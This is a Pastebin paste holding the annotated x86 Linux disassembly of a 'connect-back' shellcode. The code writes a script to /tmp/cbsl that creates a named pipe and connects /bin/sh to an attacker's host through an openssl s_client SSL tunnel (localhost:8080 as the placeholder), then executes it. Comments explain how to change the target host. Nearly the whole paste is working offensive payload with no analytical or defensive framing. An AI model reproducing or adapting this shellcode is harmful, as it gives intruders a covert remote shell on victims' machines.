emS-St1ks

SSL ConnectBack x86 linux upgrade TEC

Jun 23rd, 2012
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. ** ASM sources
  3. ** ===========================================================================
  4. **
  5. ** 08048054 <main>:
  6. ** 8048054:     31 c0                     xor    %eax,%eax
  7. ** 8048056:     50                        push   %eax
  8. ** 8048057:     6a 65                     push   $0x65
  9. ** 8048059:     68 6b 70 69 70            push   $0x7069706b
  10. ** 804805e:     68 2f 62 61 63            push   $0x6361622f
  11. ** 8048063:     68 2f 74 6d 70            push   $0x706d742f
  12. ** 8048068:     89 e3                     mov    %esp,%ebx
  13. ** 804806a:     b0 0a                     mov    $0xa,%al
  14. ** 804806c:     cd 80                     int    $0x80
  15. ** 804806e:     85 c0                     test   %eax,%eax
  16. ** 8048070:     75 32                     jne    80480a4 <del2>
  17. ** 8048072:     31 c0                     xor    %eax,%eax
  18. ** 8048074:     31 db                     xor    %ebx,%ebx
  19. ** 8048076:     31 d2                     xor    %edx,%edx
  20. ** 8048078:     b3 01                     mov    $0x1,%bl
  21. ** 804807a:     31 c0                     xor    %eax,%eax
  22. ** 804807c:     50                        push   %eax
  23. ** 804807d:     6a 6e                     push   $0x6e
  24. ** 804807f:     66 68 64 5c               pushw  $0x5c64
  25. ** 8048083:     68 6c 65 74 65            push   $0x6574656c
  26. ** 8048088:     68 65 20 64 65            push   $0x65642065
  27. ** 804808d:     68 6b 70 69 70            push   $0x7069706b
  28. ** 8048092:     68 2f 62 61 63            push   $0x6361622f
  29. ** 8048097:     68 2f 74 6d 70            push   $0x706d742f
  30. ** 804809c:     89 e1                     mov    %esp,%ecx
  31. ** 804809e:     b2 17                     mov    $0x17,%dl
  32. ** 80480a0:     b0 04                     mov    $0x4,%al
  33. ** 80480a2:     cd 80                     int    $0x80
  34.  
  35. ** 080480a4 <del2>:
  36. ** 80480a4:     31 c0                     xor    %eax,%eax
  37. ** 80480a6:     50                        push   %eax
  38. ** 80480a7:     66 68 73 6c               pushw  $0x6c73
  39. ** 80480ab:     68 2f 63 62 73            push   $0x7362632f
  40. ** 80480b0:     68 2f 74 6d 70            push   $0x706d742f
  41. ** 80480b5:     89 e3                     mov    %esp,%ebx
  42. ** 80480b7:     b0 0a                     mov    $0xa,%al
  43. ** 80480b9:     cd 80                     int    $0x80
  44. ** 80480bb:     85 c0                     test   %eax,%eax
  45. ** 80480bd:     75 2a                     jne    80480e9 <open>
  46. ** 80480bf:     31 c0                     xor    %eax,%eax
  47. ** 80480c1:     31 db                     xor    %ebx,%ebx
  48. ** 80480c3:     31 d2                     xor    %edx,%edx
  49. ** 80480c5:     50                        push   %eax
  50. ** 80480c6:     68 65 64 5c 6e            push   $0x6e5c6465
  51. ** 80480cb:     68 65 6c 65 74            push   $0x74656c65
  52. ** 80480d0:     68 73 6c 20 64            push   $0x64206c73
  53. ** 80480d5:     68 2f 63 62 73            push   $0x7362632f
  54. ** 80480da:     68 2f 74 6d 70            push   $0x706d742f
  55. ** 80480df:     89 e1                     mov    %esp,%ecx
  56. ** 80480e1:     b3 01                     mov    $0x1,%bl
  57. ** 80480e3:     b2 14                     mov    $0x14,%dl
  58. ** 80480e5:     b0 04                     mov    $0x4,%al
  59. ** 80480e7:     cd 80                     int    $0x80
  60. **
  61. ** 080480e9 <open>:
  62. ** 80480e9:     31 c0                     xor    %eax,%eax
  63. ** 80480eb:     31 c9                     xor    %ecx,%ecx
  64. ** 80480ed:     31 d2                     xor    %edx,%edx
  65. ** 80480ef:     66 b9 41 04               mov    $0x441,%cx
  66. ** 80480f3:     66 ba a4 01               mov    $0x1a4,%dx
  67. ** 80480f7:     50                        push   %eax
  68. ** 80480f8:     66 68 73 6c               pushw  $0x6c73
  69. ** 80480fc:     68 2f 63 62 73            push   $0x7362632f
  70. ** 8048101:     68 2f 74 6d 70            push   $0x706d742f
  71. ** 8048106:     89 e3                     mov    %esp,%ebx
  72. ** 8048108:     b0 05                     mov    $0x5,%al
  73. ** 804810a:     cd 80                     int    $0x80
  74. ** 804810c:     89 c6                     mov    %eax,%esi
  75. **
  76. ** 0804810e <wtite>:
  77. ** 804810e:     31 d2                     xor    %edx,%edx
  78. ** 8048110:     89 f3                     mov    %esi,%ebx
  79. ** 8048112:     31 c0                     xor    %eax,%eax
  80. ** 8048114:     50                        push   %eax
  81. ** 8048115:     66 68 70 65               pushw  $0x6570
  82. ** 8048119:     68 63 6b 70 69            push   $0x69706b63
  83. ** 804811e:     68 70 2f 62 61            push   $0x61622f70
  84. ** 8048123:     68 3e 2f 74 6d            push   $0x6d742f3e
  85. ** 8048128:     68 73 68 20 31            push   $0x31206873
  86. ** 804812d:     68 6e 2f 74 63            push   $0x63742f6e
  87. ** 8048132:     68 20 2f 62 69            push   $0x69622f20
  88. ** 8048137:     68 70 65 20 7c            push   $0x7c206570
  89. ** 804813c:     68 63 6b 70 69            push   $0x69706b63
  90. ** 8048141:     68 70 2f 62 61            push   $0x61622f70
  91. ** 8048146:     68 3c 2f 74 6d            push   $0x6d742f3c
  92. **
  93. ** "\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x3a\x38\x30\x38\x30" >----------+
  94. ** localhost:8080                                                        |
  95. ** If you change that, you need to change write(..., ..., size_t) (%edx) |
  96. **                                                                       |
  97. ** 804814b:     68 38 30 20 30            push   $0x30203038         <---+
  98. ** 8048150:     68 74 3a 38 30            push   $0x30383a74         <---+
  99. ** 8048155:     68 6c 68 6f 73            push   $0x736f686c         <---+
  100. ** 804815a:     68 6c 6f 63 61            push   $0x61636f6c         <---+
  101. **
  102. **
  103. ** 804815f:     68 65 63 74 20            push   $0x20746365
  104. ** 8048164:     68 63 6f 6e 6e            push   $0x6e6e6f63
  105. ** 8048169:     68 6e 74 20 2d            push   $0x2d20746e
  106. ** 804816e:     68 63 6c 69 65            push   $0x65696c63
  107. ** 8048173:     68 6c 20 73 5f            push   $0x5f73206c
  108. ** 8048178:     68 65 6e 73 73            push   $0x73736e65
  109. ** 804817d:     68 6e 2f 6f 70            push   $0x706f2f6e
  110. ** 8048182:     68 72 2f 62 69            push   $0x69622f72
  111. ** 8048187:     68 20 2f 75 73            push   $0x73752f20
  112. ** 804818c:     68 70 20 26 26            push   $0x26262070
  113. ** 8048191:     68 69 70 65 20            push   $0x20657069
  114. ** 8048196:     68 61 63 6b 70            push   $0x706b6361
  115. ** 804819b:     68 6d 70 2f 62            push   $0x622f706d
  116. ** 80481a0:     68 64 20 2f 74            push   $0x742f2064
  117. ** 80481a5:     68 6d 6b 6e 6f            push   $0x6f6e6b6d
  118. ** 80481aa:     89 e1                     mov    %esp,%ecx
  119. ** 80481ac:     b2 77                     mov    $0x77,%dl
  120. ** 80481ae:     31 c0                     xor    %eax,%eax
  121. ** 80481b0:     b0 04                     mov    $0x4,%al
  122. ** 80481b2:     cd 80                     int    $0x80
  123. **
  124. ** 080481b4 <close>:
  125. ** 80481b4:     31 c0                     xor    %eax,%eax
  126. ** 80481b6:     b0 06                     mov    $0x6,%al
  127. ** 80481b8:     89 f3                     mov    %esi,%ebx
  128. ** 80481ba:     cd 80                     int    $0x80
  129. **
  130. ** 080481bc <execve>:
  131. ** 80481bc:     31 c0                     xor    %eax,%eax
  132. ** 80481be:     50                        push   %eax
  133. ** 80481bf:     66 68 73 6c               pushw  $0x6c73
  134. ** 80481c3:     68 2f 63 62 73            push   $0x7362632f
  135. ** 80481c8:     68 2f 74 6d 70            push   $0x706d742f
  136. ** 80481cd:     89 e3                     mov    %esp,%ebx
  137. ** 80481cf:     50                        push   %eax
  138. ** 80481d0:     66 68 2d 65               pushw  $0x652d
  139. ** 80481d4:     89 e1                     mov    %esp,%ecx
  140. ** 80481d6:     50                        push   %eax
  141. ** 80481d7:     6a 68                     push   $0x68
  142. ** 80481d9:     66 68 2f 73               pushw  $0x732f
  143. ** 80481dd:     68 2f 62 69 6e            push   $0x6e69622f
  144. ** 80481e2:     89 e2                     mov    %esp,%edx
  145. ** 80481e4:     50                        push   %eax
  146. ** 80481e5:     53                        push   %ebx
  147. ** 80481e6:     51                        push   %ecx
  148. ** 80481e7:     52                        push   %edx
  149. ** 80481e8:     89 e1                     mov    %esp,%ecx
  150. ** 80481ea:     89 d3                     mov    %edx,%ebx
  151. ** 80481ec:     31 d2                     xor    %edx,%edx
  152. ** 80481ee:     b0 0b                     mov    $0xb,%al
  153. ** 80481f0:     cd 80                     int    $0x80
  154. **
  155. ** 080481f2 <exit>:
  156. ** 80481f2:     31 c0                     xor    %eax,%eax
  157. ** 80481f4:     b0 01                     mov    $0x1,%al
  158. ** 80481f6:     31 db                     xor    %ebx,%ebx
  159. ** 80481f8:     cd 80                     int    $0x80
  160. **
  161. **
  162. */
Advertisement
Add Comment
Please, Sign In to add comment